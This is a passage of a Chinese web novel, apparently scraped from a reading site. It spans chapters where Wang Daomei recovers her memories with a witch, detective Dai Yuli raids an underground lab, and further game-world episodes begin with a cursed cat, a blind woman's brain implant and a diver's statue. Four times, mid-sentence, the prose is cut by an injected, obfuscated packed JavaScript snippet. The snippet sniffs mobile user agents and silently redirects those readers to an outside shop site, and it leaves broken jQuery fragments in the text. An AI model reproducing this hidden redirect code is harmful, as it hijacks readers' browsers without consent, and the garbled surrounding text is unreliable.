刀妹试探着问她:“你的意思是,要随心所欲,活得轰轰烈烈?” “不,我的意思是,”岑小哉面无表情,伸手揪住她的衣领,往上空飘起,“如果你再不离开,就会变成一顿无色无味的灵魂烧烤。” 2号玩家像只被拎住后颈皮的猫,连挣扎都无能为力:“你又要带我去哪儿?” “去抓那些走丢的记忆精灵。” 高空的黑暗中开始往下掉烤鸡腿,非常多,仿佛无穷无尽,只可惜看得见摸不着。 “那,大祭司呢?就把她留在那儿变异啊?”刀妹终于后知后觉想起了这件事情,“万一她真的生出个新的俱生法王,咱们不就都凉了吗?” “有没有一种可能,她的存在只是一种从未知变成已知的‘可能’。”岑小哉慢悠悠答道,结果一低头,就对上刀妹那双懵懂无知到极点的圆眼睛。 很明显,2号玩家又没听懂。 “打个比方,把变异的小祭司看成一堆灰烬,那么我们现在所要做的事情,就是去往火焰被点燃之前,从源头遏止一切。” 王稻美恍然大悟般惊呼:“难不成,是我在蛋羹山第一次遇到她的时候!” “恭喜你,回答错误。” 鸡腿雨过后,她们穿过一道光门,一座图书馆和一片花海,很快回到了那个“火焰被点燃之前”的时刻。 第一次体验时空跃迁的2号玩家整个魂都昏头胀脑,感觉自己理论上并不存在的五脏六腑都想从嘴里面往外跑。 好不容易缓过来以后,她看见一座小庙。 小小砖瓦房,屋顶的橘黄色琉璃瓦在日光照耀之下熠熠生辉。 不知道为什么,王稻美看着那片琉璃瓦上闪烁着的光辉,忽然觉得眼眶既酸且热。 小时候第一次跟着父母去看石料,她才刚学会走路,说话都有点捋不直舌头,一见到闪闪发光的琉璃瓦就移不开眼睛,抱住了就死活不撒手。 “好好好,既然我闺女喜欢,那就定这个了!”王大山乐呵呵地把她举起来往肩膀上放,毫不在意刀妹正一边笑着一边用手里的琉璃瓦敲他脑袋。 王恬凤蹙着眉,翻来覆去地研究琉璃瓦的质地:“真是胡闹,这种瓦片的釉面容易龟裂,又很难修补,日晒雨淋没几年就掉了,好看不中用啊。” “嗨!瞎操心那么多干啥呢,谁家建房子还能耐个千秋百代不成?掉了咱就重新砌上!” 两年后,号称“九重天”的百利广场大厦在古堃区落成,作为施工承包商的伍港天峰建筑工程有限公司就此打响了名声,不到十年就增加了几十倍资产,全面完成集团化组建。 也就是从那时候开始,王大山夫妇俩各自有了新欢,貌合神离。 由于财产分割这方面的流程太复杂繁琐,他们并没有真的离婚,但那座偌大的花园别墅里,很多个日夜都只剩下王稻美和保姆刘姨住在里面。 刘姨做饭的手艺很好,刀妹的食量逐渐见长。 十二岁的她一顿就能吃掉成年人一天的食物数量,因此整个人也跟吹气球似的呼呼发胖,身高一米四,体重一百四十斤。毫不意外地在学校受到了集体霸凌,除了从小就认识的戴玉粒,谁也不想跟一个肉球般的女孩做朋友。 而此时此刻,王稻美站在那座小庙外面,望着门上悬挂着的那匹红布,再次想起女巫的那个问题: 你选择相信哪一个呢? 是齐心协力带女儿治病的王大山和王恬凤,还是为了名利牺牲女儿的王氏夫妇。 “刀妹,那些走丢的记忆精灵,就藏在这里面。”女巫指了指遮住庙门的那匹红布。 王稻美下意识咬着指甲,有点焦虑不安:“把它们放出来,我就能找回全部记忆,然后呢?” “你会看到副本世界之外的真相。” “无论好坏,对吧?” 女巫缓慢抬起下巴,又重重落下。 王稻美做了个深呼吸,走向那座小庙。 这一次,不再有一层透明屏障将她阻隔在原地。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14173345|147164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她抬起手,抓住那片红布,毫不意外地听见了一阵“悉悉索索”的声音。 … 三辆吉普车静静停在一条山道旁边的空地上。 全副武装的刑侦支队成员们陆续下车,潜行在接近一人高的野草丛中,蓄势待发。 为首者却在这时忽然接到一条紧急通讯。 她盯着通讯屏幕上浮现的“高照”二字,眉头微蹙了一下,最后还是选择接通。 “戴玉粒,吉老四的案子你不能再查下去了。”他的语气几乎是前所未有的焦急,甚至连声音都有点发颤。 “不可能。”戴队长言简意赅地给出答复。 她好不容易才从“病死”的吉荣发追查到吉广进身上,慧伽药业和新唐南方精神病院的勾当总算要水落石出了,怎么可能在这种紧要关头随便放弃? “你知不知道新唐南方精神病院是什么地方?广府是粤州州首,他们在这儿经营了这么多年,岂止是手眼通天。你一个小小的刑侦队长,拿什么跟他们斗?” “拿命。”她声音冷而轻,如一片雪花飘落在剑刃上,转瞬凝结成霜。 “你——” 高照话还没说完,戴玉粒已经干脆利落地切断了通讯。 她眼神一凛,对麾下的侦查员们打了个手势:行动! 本次目标正是慧伽药业的地下实验室。 许晓芊清脆的声音从内部通讯耳机里传来:“粒粒,目标地点的三维结构图已传送到大家的设备上,‘天鹅’分析了所有可能的入口和逃生路线,这是它给出的最佳潜入方案,你们务必要小心。” 云端防控智能系统“天鹅”通过卫星和地下传感器收集的精密数据,构建出一个完整的实验室模型,此刻已全面显示在刑侦支队成员所佩戴的头盔屏幕上,每一条通道、每一个房间都清晰可见。 穿过干涸却依然恶臭扑鼻的下水道,她们来到一道隐蔽的闸门下方,上面就是实验室的核心区域。 “晓芊,需要爆破吗?”戴玉粒低声问道。 远在古堃安全署坐镇的许晓芊迅速回答:“不用,闸门由电路控制,‘天鹅’可以在短时间内远程操控。” “好,排查入口处的监控设备。” “队长,前面有红外摄像仪。”一名队员低声报告。 “监控设备现已全面接管,安全。” 闸门缓缓打开,露出了一条昏暗的走廊。到处弥漫着消毒水的味道,原本平静的一切显得格外诡异。 实验室内部的情景让所有队员的心脏猛地一跳。 几排病床上躺着被牢牢绑住的病人,男女老少都有,他们的身体上插满了管线,连接着各种古怪的仪器。 戴队长立即下达命令:“天鹅,切断所有控制病人的设备电流。” 队员们迅速行动,帮助病人们拔掉管线,解开束缚。 不到三分钟,警报声突然响起,实验室的灯光瞬间变成刺眼的红色。 “粒粒,实验室的自毁程序被启动了!”许晓芊的语速变得很快,“预计只剩下五分钟时间。” “立即撤退。”戴玉粒一声令下,队员们迅速组织病人撤离,她手握武器断后,确保没有人被落下。 她们沿着来时的路快速撤离,警报声在身后越来越远,但戴玉粒内心的不安却始终如芒在背。 整整两天了。 刀妹一直没有回复她。 平时就算戴玉粒再忙,王稻美再怎么精神不济,她俩都会抽空给对方发通讯信息。 直到那天,刀妹留言说她爸妈要带她去“岭南酒家”吃饭。 然后,她们就断联了。 60. 无头苍蝇 实验室里的警报声跟催命似的,哔哔哔响个不停,刑侦队全体成员的心跳跟着头盔屏幕上方疯狂跳跃的倒计时数字一起加速—— 爆炸即将发生。 “只剩四分钟,大家抓紧时间!”许晓芊的声音从通讯器里传出,似乎受到了电磁波干扰,听起来有些失真。 “探员姐姐——” 杂音间隙传来一声久违的诡异呼唤。 戴玉粒倏地停下脚步。 时间仿佛在此刻被按下了暂停键,周围的一切凌乱嘈杂声响全部远去。 那个声音,曾经无比清晰地响在耳旁,对她说:“反正他们加起来都打不过你,那你还犹豫什么呢?全部揍晕就行了。” “我听到了。” 她赌上生命中极其宝贵的四分钟,再次选择相信女巫。 “这次你想告诉我什么?” 岑小哉说的话像是隔着一整个宇宙才传送过来,只能听清零碎字眼:“刀妹——在走廊尽头——种植区。” 杂音消失了,通讯信号恢复正常。 队友们都已背着那些病人往外跑了,戴玉粒忽然转身往实验室深处跑去,没有半点犹豫。 “粒粒,你这是要干嘛?再不走就真来不及了!” 通讯器彼端,许晓芊急得跟热锅上的蚂蚁似的,简直想钻到这边来把她们戴队长往回拽。 “你们先撤!”戴玉粒头也不回地答道。 她穿过一个又一个实验室,脚步声在冰冷的金属走廊上“砰砰”回响,里面的灯光忽明忽暗,像无数丛鬼火在游走。 不到半分钟,戴玉粒找到了女巫所说的种植区,尽管作战头盔里供氧充足,她还是感觉肺部一阵隐约刺痛。 这里像个防空洞一样宽敞,种满了各种奇异的菌类,颜色鲜艳,大小不一。 中间那个大得像浴缸的培养皿里静静躺着一个女孩。 “刀妹!” 戴玉粒冲到培养皿前,她迅速拨开那些粘腻恶心的菌丛,将王稻美抱起来。 “我来带你回家。” 王稻美的脸色白得像纸,没有任何苏醒的迹象,除了微弱的脉搏跳动之外,她的躯体冰凉,简直不像个活人。 戴玉粒一颗心顿时难以控制地往下坠去。 许晓芊的催促再次响起:“三分钟,粒粒,快点!” 戴玉粒强忍住喉头的一阵苦涩,她背起王稻美,小心翼翼地穿过那些看起来就很危险的植物,往出口走去。 就在她快要走出这片种植区的时候,几个身影突然从角落里冲出来,挡住了她们的去路。 “别费劲了,戴队长。你们今天别想从这儿活着出去了。” 消失多日的吉广进摸着自己的满脸胡渣,笑嘻嘻走到前面来:“你们这些披着虎皮的走狗,追得我儿子摔死在山崖底下,那就在这里给他偿命吧!” 戴玉粒没搭腔,她冷着脸将王稻美护在身后,空出一只手紧握武器,准备迎战。 作战头盔一侧却传来很轻的话语声:“粒粒?” 戴玉粒顿时愣住,差点以为是自己产生了错觉—— 原本已变成植物人状态的王稻美,竟然在这时候恢复了意识。 她的双眼缓缓睁开。 右眼是正常的黑白两色,左眼却是一只妖异得近乎悚然的赤金竖瞳。 吉广进和他的同伙们被这突如其来的变化惊呆了,他们愣在原地不知所措,就像是一群突然断电的机器人。 王稻美慢慢站起来,望着对面那些人高马大的恶匪,用非常平静的声音宣判了他们的死刑: “真是不好意思,但今天走不出这里的人,只会是你们。” 她抬起手打了个响指,一股无形的力量把吉广进几人全抓起来,不顾他们的挣扎与惨叫,猛地扔进后边的蘑菇坑里。 那些颜色艳丽的菌类立刻疯长,根部紧紧缠上那几个人的七窍,不到几秒钟就把他们吸成了皮包骨的人干,那一幕就跟现场上演的恐怖片似的。 “咱们得赶紧走!”戴玉粒回过神来,拉着王稻美就往出口跑。 她们穿过最后的走廊,戴玉粒用力推开门,新鲜空气迎面扑来,两人终于逃出了那个鬼地方。 平时情绪很少外露的她此刻满脸欣喜,正要转身跟王稻美说些什么,谁知一扭头,却发现——刀妹脸上满是泪水,正不停往下滑落。 “怎么了,刀妹?”戴玉粒愕然问道。 话音未落,倒计时已经走到“0”,她们身后那座地下实验室里远远传出一阵沉闷的爆炸声。 王稻美转过头,望着那阵冲天的火光,神情呆滞。 “你选择相信哪一个呢?” 她从未想过,原来女巫的问题如此残忍,几乎每个字都化作刀剑,直直捅入她的心头。 红布之后的记忆精灵们扑扇着翅膀,如水流倾泻,“悉悉索索”将她淹没在一阵晶莹流光中。 王稻美下意识闭上眼睛,再睁开时,她终于看见了自己的父母。 那是一个平平无奇的雨天。 王大山坐在车内,握着方向盘,双手因紧张而微微颤抖。 他转头看向王恬凤,声音沙哑而坚定:“只要能救咱们闺女,我做什么都愿意。” “打从一开始,我就没想过能跟你白头偕老,可怎么也想不到,还是一起走到了最后。”王恬凤牵起嘴角,似乎想露出一抹带有嘲讽的微笑,可她的眼中却有泪光闪烁。 轿车在雨中疾驰,街道上的积水反射着车灯,形成一道道光带。突然,一辆失控的大货车横冲直撞地出现在他们的视线中。 王大山猛地转动方向盘,试图避开货车,但一切都太迟了。他们的车与货车相撞,发出了震耳欲聋的巨响。安全气囊瞬间弹出,但冲击力仍然将他们紧紧压在座位上。 随着救护车的鸣笛声飞速靠近,王大山和王恬凤双双躺在血泊中,眼中的光慢慢熄灭下去。 王稻美愣愣地望着眼前的一切。 过了很久,她倏地笑了一下:“又是幻觉。” 尽管眼眶在不自觉地轻颤,她依然假装若无其事,再次自言自语般否认道:“我才不会上当呢!” 再等等,只要再等上一会儿,这一切就会像上次一样,变成泡沫消失不见。 可就在这时,王稻美骤然想起,女巫告诉自己的最后一句话: “你会看到副本世界之外的真相。” 真相? 那个瞬间,王稻美感觉自己就像一条被丢到岸上的鱼,被锋利的鱼钩扎破了腮,冰冷的空气一下子灌进身体的破洞中,带来阵阵让人透不过气的剧痛。 她两腿发软,几乎要靠戴玉粒用力搀扶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14192676|147164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才不至于整个人瘫倒在地上。 “粒粒,我爸妈呢?”王稻美如梦初醒,像溺水者抓住浮木一样,死死抓住好友的手臂,眼中迸发出最后一丝希望的光。 “她们在哪儿?是不是在家里等着我回去?” 面对她的急切询问,戴玉粒脸上闪过的却是一丝惊慌。 “刀妹……我,我也不清楚。咱们现在先回去,好不好?” 王稻美眼里的光亮一点一点消失了,化作更多的泪水涌出了眼眶。 “女巫!女巫——” 她忽然站直起来,朝向周围被暮色笼罩的山林大声叫喊着。 “我愿意选择苦难,选择折磨,就算她们真的不要我了,我也心甘情愿!” “我求求你——把她们还给我!” “把我的爸爸妈妈还给我!” … “很多时候,我厌恶‘牺牲’这种词汇。” 岑小哉脱离中阴身状态,回到外家吉的上空,很难得地产生了一丝低落情绪。 “但毫无疑问,王大山和王恬凤的牺牲,如同一道光穿透了副本世界与现实世界的壁垒,换回了刀妹的一线生机。” “为什么是‘牺牲’?”冒牌恶魔轻声说出自己的疑问,“他们难道不是因为一场车祸而导致意外死亡?” “俱生法王降世的必要条件之一:‘噬母弑父’,本质上就是要杀死祂自己的双亲。” 路其的那双酒红色眼瞳忽然睁圆,连音量都提高了一点:“你的意思是,别西卜选择了2号玩家作为祂的‘容器’?” “刀来——”女巫冷笑,手中火花四溅,斩.马.刀应声而出。 “那只大苍蝇,从头到尾就没把你的小祭司放在眼里。但无所谓,刀妹也不可能乖乖就范变成祂的‘容器’。” 长刀点破夜幕,一轮巨大的圆月从刀尖升起,月面如水波荡漾,金色纹路构成状若蛛网的传送魔法阵。 “图穷匕见,是时候收网了。” 娞吉山的轮廓在月光下显得格外诡异,仿佛一只巨兽蹲伏在黑暗中,等待着吞噬一切。 蒋济宁紧握着手电筒,那道微弱的光束在崎岖的山路上跳跃。 山林间弥漫着一股潮湿的泥土气息,混合着腐叶和松针的气味,让人不由自主地联想到死亡和腐烂。 每一次呼吸都像是在与无形的恐惧搏斗,蒋济宁的衣服已经被汗水和露水浸湿,紧贴在身上,冰冷而黏腻。 心跳如同擂鼓,不停提醒着他:必须逃离这个被诅咒的地方。 “蒋老师,”某个神秘声音再次响起,“你必须在日出前离开娞吉山,否则你将永远被困在这个世界里。” 随着时间的推移,夜色开始渐渐退去,东方的天空露出了一丝鱼肚白。 蒋济宁的脚步越来越沉重,他的体力已经接近极限。 视线开始模糊,每一步都像是在泥潭中跋涉。但他知道,只有逃离这座大山,自己才能活下去。 终于,蒋济宁看到了山脚下的那条大路,太阳已渐渐升起。 他停下脚步,回头望向娞吉山。 大山的轮廓在朝阳的映照下渐渐清晰,但那股诡异气息却更加强烈。 就在他回头的那个瞬间,一阵古怪的音乐响起,那旋律仿佛是山神的低语,又像是副本世界坍缩的预兆。 61. 发疯之猫 “路其大人,我真的很感激您赐予了我永恒的青春——可为什么,只有我能够得到您的恩赐?” 然而,回答她的只有王稻美的攻击:“先别忙着发癫了,打赢我再说!” 蒋济宁和吉兰馨站在蘑菇伞盖上,紧张地注视着上方的战斗。就连她们能感受到那股魔力的波动,每一次攻击都似乎在撼动着整个天地。 “我们就不能做点什么吗!”吉兰馨焦急得直跺脚。 女巫摇了摇头:“这是她们的命运之战,旁人无法插手。” 花海上的花瓣飘落得更多了,犹如一场血雨。 突然间,慧伽的身影消失在了花瓣的风暴中,当她再次出现时,已经来到了王稻美的身后。手中不知何时多了一把由米囊花瓣凝聚而成的匕首,直指王稻美的心脏。 “刀妹!小心!”蒋济宁忍不住大喊。 慧伽的匕首已经刺入了王稻美的身体,花瓣的风暴在这一刻静止了。与此同时,一个金色纹路的魔法阵从两人的脚下浮现。 从高空中缓缓坠下的人,却是慧伽。 她难以置信地看着自己的双手,眼神中充满了不甘和愤怒,那把匕首已经消失不见,只留下她心口上一个巨大的空洞。 风再次在花海中吹起,花瓣如同血色的大雪,再次飞舞起来。王稻美和慧伽的身影,渐渐消失在了花瓣的风暴中。 “好了,现在胜负已分,是时候把你们送回人间了。”女巫重重叹了口气,“刀妹的生命携带着魔力,但这份力量只能拯救你们其中一人。” 蒋济宁眼中闪过一丝挣扎,他看了看自己的学生:“救兰馨吧,她还年轻,有更多的未来。” 吉兰馨却抢先一步抓住女巫的手,眼神中充满了祈求:“不,求你救蒋老师,他是我们所有人的希望。” 于是,女巫一脸凝重地点了点头。 一道柔和的光芒从她的手中散发出来,缓缓地笼罩在蒋老师身上。 吉兰馨的身影渐渐变得透明: “蒋老师,带大家离开这里,去外面的世界继续读书,成为教师、医生、科学家。就像您说过的那样,成为社会的栋梁。” “好,我答应你们。”蒋济宁的声音带着哽咽,最后几乎泣不成声。 醒来之后,蒋老师带着吉家村里幸存的孩子们离开了娞吉山。 他们穿过蜿蜒的山路,跨过湍急的溪流,抵达诏州。 面对着大山外面的世界,孩子们的眼中充满了好奇和期待。这是她们新生活的开始,也是吉兰馨牺牲的意义所在。 蒋济宁站在诏州小学的门口,看着孩子们一个个走进教室,心中充满了感慨。 他,走进教室,开始教授他重返人间的第一堂课。 “孩子们,今天我们不讲书本上的知识,我们先来谈谈梦想。”蒋老师的声音在教室里回荡,目光温和而坚定,“每个人都有梦想,就像兰馨,她希望我们能够拥有更好的未来。现在请大家告诉我,你们的梦想是什么?” 孩子们纷纷举手,一个接一个地分享她们的梦想,有的想成为医生,有的想成为科学家,有的想成为艺术家。 这些梦想的种子将在他们心中生根发芽,最终开花结果。 蒋济宁忽然想起,很久以前他在吉家村也曾问过相同的问题,那时候曾有一个女孩用雀跃的语气告诉他:“蒋老师,我的梦想是像您一样,当一名教师!” 此刻,蒋济宁微笑着,眼底依稀有泪光闪烁:“大家要记住,无论梦想有多远,只要我们坚持不懈,总有一天能够实现。” 他翻开书本,教室里响起了孩子们的读书声,如一支动人的乐曲。 … 圣萨罗斯学院,奇点考核大厅。 布兰奇站在一道光束下,手中紧握着一只炸毛的橘猫——的尾巴。 《发疯之猫》。 据说那是有史以来最难的一道题目。 她眉头紧锁,神色透露出焦虑不安。 女巫飘在一旁,掌心里的火焰忽明忽暗:“布兰奇,诺特教授出的题绝不仅仅是关于一只猫,而是灵魂深处的纠葛。” 亡灵法师转过头,目光中有惊奇也有探究:“玛菲,那照你说,我该如何解开这个诅咒?” “嗯呒,试着检查疯猫的灵魂核心?” 布兰奇深吸一口气,闭上眼睛,她的意识逐渐沉入猫的灵魂深处。 在那里,她看到了一幕幕雏鸟的死亡,每一次都是被同一只橘猫精准捕食。 她能感受到雏鸟灵魂中的怒火和不甘,但这只是表层。 “这背后,还有更深的秘密。”女巫的声音在布兰奇耳边响起。 布兰奇的意识继续深入,她看到了蒂留斯公爵夫人的影像。 这位年轻贵妇的面容美丽而忧郁,眼中含着泪水。 公爵夫人的名声如同那座高耸的城堡一样,高不可攀却又遥不可及。 蒂留斯公爵长期征战在外,留下她一人在城堡中孤独地度过每一个漫长的夜晚。她的生活如同一幅精致的画卷,表面上华美无比,内里却是空洞而寂寞的。 这一晚,如同往常一样,公爵夫人在她的私人沙龙中举办了一场诗歌晚会。 烛光摇曳,音乐低沉,空气中弥漫着淡淡的花香和墨水的气息。 公爵夫人身着一袭深蓝色的天鹅绒长裙,裙摆上镶嵌着细碎的宝石,如同夜空中闪烁的星辰。她的金发被高高盘起,露出修长的脖颈,肌肤在烛光的映照下显得格外白皙。 “亲爱的朋友们,欢迎来到今晚的诗歌沙龙。” 公爵夫人的声音柔和而富 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14199967|147164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有磁性,她的目光在人群中流转,最终落在了一位年轻男子的身上。 他有着一头乌黑的卷发和深邃的眼眸,那是侯爵之子,亚历山大。 亚历山大感受到了公爵夫人的目光,心跳不禁加速。 他站起身,向公爵夫人微微鞠躬,然后开始朗诵自己的诗歌。他的声音低沉而富有韵律,每一个字都像是经过精心雕琢的宝石,闪耀着诱人的光芒。 “在无尽的黑夜中,我寻找着那唯一的光明,她如同星辰,照亮我前行的道路……”亚历山大的诗歌充满了对爱情和自由的向往,这也正是公爵夫人内心深处的渴望。 诗歌结束后,沙龙中的宾客纷纷鼓掌,但公爵夫人的掌声最为热烈。 她走向亚历山大,眼中闪烁着欣赏的光芒。 “您的诗歌如同您本人一样迷人。” 亚历山大的脸上泛起一抹红晕,他低声回答:“夫人,您的赞美真是让我受宠若惊。” 随着几场晚会的进行,两人的交流越来越多,他们的话题从诗歌转向了生活,从生活转向了内心深处的秘密。 公爵夫人发现,亚历山大不仅才华横溢,而且心思细腻,他能理解她的痛苦和孤独。 夜深了,宾客逐渐散去,但公爵夫人和亚历山大却留在了最后。 两人在壁炉前坐下,火光映照着他们的脸,温暖而暧昧。 “亚历山大,你愿意带我离开这里吗?”公爵夫人的声音几乎低不可闻,眼神中充满了期待和恐惧。 亚历山大沉默了,他的内心在挣扎:私奔意味着背叛家族,意味着放弃一切。 “公爵夫人,我……”他的话没有说完,因为他看到了公爵夫人眼中的泪光。 “我明白了。”公爵夫人站起身,声音中带着无尽的哀愁,“就让我们把这份感情埋藏在心底吧。” 画面结束于她踽踽独行的背影。 “看来,我必须找到这个侯爵之子。”布兰奇睁开眼睛,心中有了打算。 亡灵法师站起身,橘猫的尾巴从她的手中滑落,炸毛的橘猫立刻跳到一旁,警惕地看着她。女巫玛菲飘到布兰奇身边,眼中闪烁着好奇的光芒。 “你发现了什么?”玛菲问道。 布兰奇深吸一口气,整理了一下思绪,然后缓缓说道:“这只橘猫的灵魂深处,隐藏着蒂留斯公爵夫人和侯爵之子亚历山大的故事。他们的爱情悲剧,或许是这只猫疯狂行为的根源。” 女巫点了点头:“那么,你打算怎么做?” “我需要找到亚历山大,或许他能解开这个诅咒。但是,他可能已经不在这个世界了。” 女巫又发出了那阵标志性的古怪笑声:“咯咯咯,在这个世界,没有什么是不可能的。跟我来,我知道一个地方,或许能找到线索。” 62. 石中救神 南希·卡珊德拉的世界是一片黑暗,直到那个改变命运的日子。 她坐在冰冷的金属椅上,四周是一片寂静,只有偶尔传来的机器低沉的嗡嗡声。心跳在胸腔中回响,每一次跳动都像是在提醒她即将到来的未知。 手术室的灯光冷冽而刺眼,南希的眼前虽然一片漆黑,但她能感觉到医生和护士忙碌的身影。 空气中弥漫着消毒水的味道,那是一种让人安心却又带着一丝不安的气息。她的双手紧握着椅子的扶手,指节因为用力而变得苍白。 “南希,放轻松,一切都会好的。”医生的声音温和而坚定,像是在安抚一个即将入睡的孩子。南希深吸一口气,试图让自己的心跳平缓下来。她知道,这个手术可能会让她重见光明,也可能让她永远沉沦在黑暗中。 脑机接口神经调控治疗,这是一项前沿的技术,也是她唯一的希望。 SWAN被封存了二十多年,现在却要在她的大脑中苏醒。 南希不知道这个系统会带给她什么,但她愿意为了光明冒险一试。 手术开始了,南希感觉到一丝凉意从后颈传来,那是冰冷的器械接触皮肤的感觉。 她的身体不由自主地颤抖了一下,但随即被一股温暖的力量所包围。那是SWAN启动的信号,它在她的大脑中苏醒,与她的神经网络连接。 南希的意识开始模糊,她感觉自己像是被卷入了一个漩涡,四周是无尽的黑暗和寂静。然后,一点光亮出现了,它起初微弱,但逐渐变得明亮。 南希的心跳加速,她努力向那光亮靠近,那是她渴望已久的光明。 当她终于“触摸”到那光亮时,她的世界瞬间被点亮。 色彩和形状涌入她的视野,她看到了医生和护士紧张的表情,看到了手术室内冰冷的金属器械。 她看到了光,看到了色彩,看到了希望。 南希的眼中充满了泪水,她的视线虽然还有些模糊,但她已经能够辨认出周围的一切。她抬起手,看着自己的手指,那是一种久违的感觉。 她的手指在光线下显得苍白而纤细,她能感觉到自己的指尖传来的温度。 “我……我能看见了。”南希的声音颤抖而充满喜悦,她的视线转向医生,那个给了她新希望的人。 医生的脸上露出了宽慰的笑容,他知道,这个手术成功了。 南希被推回病房,她的眼前是一片新的世界。 她贪婪地看着窗外的天空,看着云彩的流动,看着飞鸟的翱翔。她看着病房里的每一样物品,从简单的床铺到复杂的医疗设备,每一样都让她感到新奇。 然而,随着视线的清晰,南希也开始注意到一些不寻常的事情。 她的视野边缘似乎有些模糊的阴影在晃动,它们像是活物一样,随着她的视线移动而移动。 南希皱了皱眉,她不知道这是怎么回事,但她能感觉到这些阴影与SWAN有关。 她闭上眼睛,试图集中精神去感知这些阴影。 慢慢地,她发现自己能够“看到”更多的细节。这些阴影似乎是由无数的数据流组成,它们在她的脑海中流动,像是一条条信息的河流。 原来SWAN不仅仅恢复了她的视力,它还赋予了她一种新的能力—— 她能够感知和操控数字信息。 … 海水如同流动的蓝宝石,阳光透过水面,洒下斑驳的光影。 年轻的潜水员尼科洛·马瑞利正缓缓潜行,穿梭在这片神秘的水下世界,他的呼吸器发出轻柔的气泡声,与海水的静谧形成鲜明对比。 阳光透过水面,将海底的沙石染成一片金黄。 海水在尼科洛身边轻轻涌动,他能感受到水流的微妙变化,仿佛是大海在低语。他的心跳随着每一次踢水的节奏加速,每一次呼吸都伴随着气泡的上升,像是他与这个世界唯一的联系。 尼科洛的目光在珊瑚礁和游鱼间游移,直到一抹不同寻常的白色吸引了他的注意。 那是从一块巨大的岩石下透出的微光。 尼科洛调整着潜水镜,好奇心驱使他游向那片神秘的光源。 他小心翼翼地拨开覆盖在岩石上的海藻,露出了一块光滑的大理石表面。手电筒照亮了这块石板,只见上面雕刻着精细的花纹,仿佛是某种古老的符号。他伸出手,轻轻触摸那些冰冷而坚硬的线条,心中涌起一股莫名的敬畏。 “这是什么?”尼科洛自言自语,他的声音在水下显得有些沉闷。 他试图移动石板,却发现它异常沉重。他深吸一口气,用力一推,石板缓缓移开,露出了一个隐藏的洞穴。尼科洛的心跳在胸腔中猛烈地跳动,他感到一种前所未有的兴奋。 这个洞穴似乎隐藏着不为人知的秘密,而他,即将成为揭开这个秘密的第一人。他游进了洞穴,洞穴内部比外面更加昏暗,只有他手电筒的光束在四处扫射。 突然,一道耀眼的光芒刺痛了他的眼睛,他下意识地遮住了眼睛。当他再次睁开眼时,他看到了一尊巨大的雕像,它半掩在沙石之中,仿佛是一位沉睡的天神。 雕像的面容庄严而神圣,双眼紧闭,仿佛在沉思着宇宙的奥秘。它的身体线条流畅而完美,每一寸肌肤都透露出艺术家的匠心独运。尼科洛被这尊雕像深深吸引,他甚至能感觉到雕像的呼吸,仿佛它随时会苏醒过来。 “这,这是泰萨!”尼科洛惊呼出声,他的声音在水下回荡。 至高无上的泰萨,是斯旺大陆传说中唯一的天神。 但眼前的这尊雕像,它更像是一位艺术家对天神的想象。 尼科洛轻轻触摸着雕像的表面,他的手指能感受到石头的冰冷和岁月的痕迹。 他的心中涌起了一股强烈的好奇心,这座雕像为何会出现在这里?它背后又隐藏着怎样的故事? “这不可能只是一块普通的石头。”尼科洛自言自语,“它一定有它的故事。” 将雕像带回岸上之后,他租了一间工作室,开始对雕像进行清理和研究。 他用柔软的刷子轻轻拂去雕像上的海沙,每一寸显露出来的细节都让他更加着迷。 泰萨的面容逐渐清晰,那是一种超越时间的美,一种让人心生敬畏的神性。 在雕像的底座,尼科洛发现了一行几乎被岁月侵蚀的文字:“亚历山德罗·莫雷蒂,你的灵魂与泰萨同在。” 他心中一震,这个名字他曾在艺术史的课本上见过,一个因为悲剧而英年早逝的天才雕塑家。 尼科洛开始查阅资料,他想要了解亚历山德罗的故事。 在图书馆的角落里,他找到了一本破旧的传记,书页泛黄,似乎很少有人翻阅。 他翻开书页,亚历山德罗的一生如同一幅画卷在他面前展开。 “亚历山德罗,你究竟是一个怎样的人?”尼科洛轻声问道,他感觉自己与这位艺术家之间有着某种不可思议的联系。 尼科洛联系了一位记者朋友,他将泰萨雕像和亚历山德罗的故事告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14199968|147164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 